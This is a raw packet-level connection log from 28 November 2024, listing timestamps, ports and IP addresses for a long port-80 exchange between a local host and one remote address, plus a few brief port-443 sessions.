Nov 28, 2024 08:55:53.384948969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.384987116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.385054111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.385096073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.385906935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.385957956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.386043072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.386096001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.386657953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.386710882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.386744022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.386795044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.387296915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.387379885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.387499094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.387552023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.388119936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.388174057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.388204098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.388326883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.388911963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.388972044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.389105082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.389184952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.389803886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.389851093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.390074015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.390239954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.390696049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.390763998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.390772104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.390889883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.391469955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.391516924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.391654015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.391710997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.392265081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.392326117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.392452955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.392503977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.393127918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.393179893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.393506050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.393563986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.393975973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.394031048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.394109964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.394159079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.394821882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.394876957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.394910097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.395083904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.395759106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.395839930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.395927906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.395994902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.396456957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.396507978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.396563053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.396610022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.397428989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.397443056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.397488117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.398405075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.398416996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.398571014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.399256945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.399276972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.399317026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.399343967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.399887085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.399905920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.399940014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.399952888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.400639057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.400691986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.400743008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.400798082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.401459932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.401511908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.401644945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.401808977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.402367115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.402419090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.402497053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.402555943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.403153896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.403208971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.403208971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.403316975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.403995037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.404052973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.404129028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.404184103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.404814005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.404866934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.405044079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.405096054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.405680895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.405747890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.406119108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.406171083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.406488895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.406549931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.406666994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.407341957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.407402039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.407536030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.407617092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.408139944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.408231020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.408286095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.408396959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.408972025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.409027100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.409111023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.409162045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.409836054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.409894943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.409930944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.410348892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.410660028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.410718918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.410774946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.410862923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.411477089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.411550045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.411551952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.411634922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.412314892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.412384033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.412424088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.412657976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.413269997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.413429022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.413762093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.413816929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.413981915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.414050102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.414088964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.414140940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.414871931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.414926052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.415138960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.415188074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.415656090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.415710926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.415715933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.415777922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.416517019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.416559935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.416594982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.416729927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.417340994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.417396069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.417535067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.417587996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.418185949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.418262959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.418611050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.418664932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.419009924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.419060946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.419070959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.419184923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.420154095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.420218945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.420336008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.420536041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.420809984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.420861006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.420897961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.420948029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.421545982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.421601057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.421633959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.421797991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.422342062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.422401905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.422796011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.422843933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.423194885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.423250914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.423374891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.423501968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.424052000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.424096107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.424274921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.424334049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.424913883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.424967051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.425069094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.425283909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.425692081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.425798893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.425952911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.426553011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.426605940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.426933050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.427002907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.427381992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.427520990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.427656889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.427707911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.428224087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.428272963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.428293943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.428345919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.447674036 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.455279112 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:53.455327988 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:53.455424070 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:53.455635071 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:53.455651999 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:53.457175970 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:53.457211971 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:53.457397938 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:53.457504034 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:53.457519054 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:53.472913980 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.472923040 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.472943068 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.472954035 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.472986937 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:53.472996950 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.473028898 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.473042011 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:53.473079920 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:53.475003004 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:53.475016117 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:53.506526947 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:53.506561041 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:53.506736040 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:53.506958961 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:53.506983042 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:53.512151957 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:53.512178898 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:53.512672901 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:53.512865067 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:53.512877941 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:53.595422029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.595504045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.595520973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.595604897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.595873117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.595932007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.596024036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.596071959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.596757889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.596868992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.596929073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.597505093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.597660065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.597697973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.597718954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.598359108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.598421097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.598459005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.598506927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.599251986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.599308968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.599349022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.599538088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.600027084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.600123882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.600192070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.600872040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.600936890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.600936890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.600982904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.601677895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.601743937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.601775885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.601825953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.602502108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.602566004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.602696896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.602792025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.603414059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.603477001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.603588104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.603637934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.604204893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.604269981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.604307890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.604362965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.605043888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.605113029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.605180025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.605385065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.605962992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.606081963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.606148005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.606694937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.606753111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.606801987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.606849909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.607534885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.607600927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.607601881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.607676983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.608362913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.608447075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.608486891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.608598948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.609191895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.609252930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.609288931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.609338045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.610086918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.610140085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.610172033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.610224962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.610889912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.610941887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.610980034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.611089945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.611717939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.611819029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.611859083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.611918926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.612550020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.612596989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.612679958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.612751007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.613375902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.613436937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.613477945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.613567114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.614280939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.614340067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.614345074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.614398003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.615104914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.615145922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.615264893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.615405083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.615860939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.615946054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.615971088 CET	80	49748	185.215.113.206	192.168.2.8
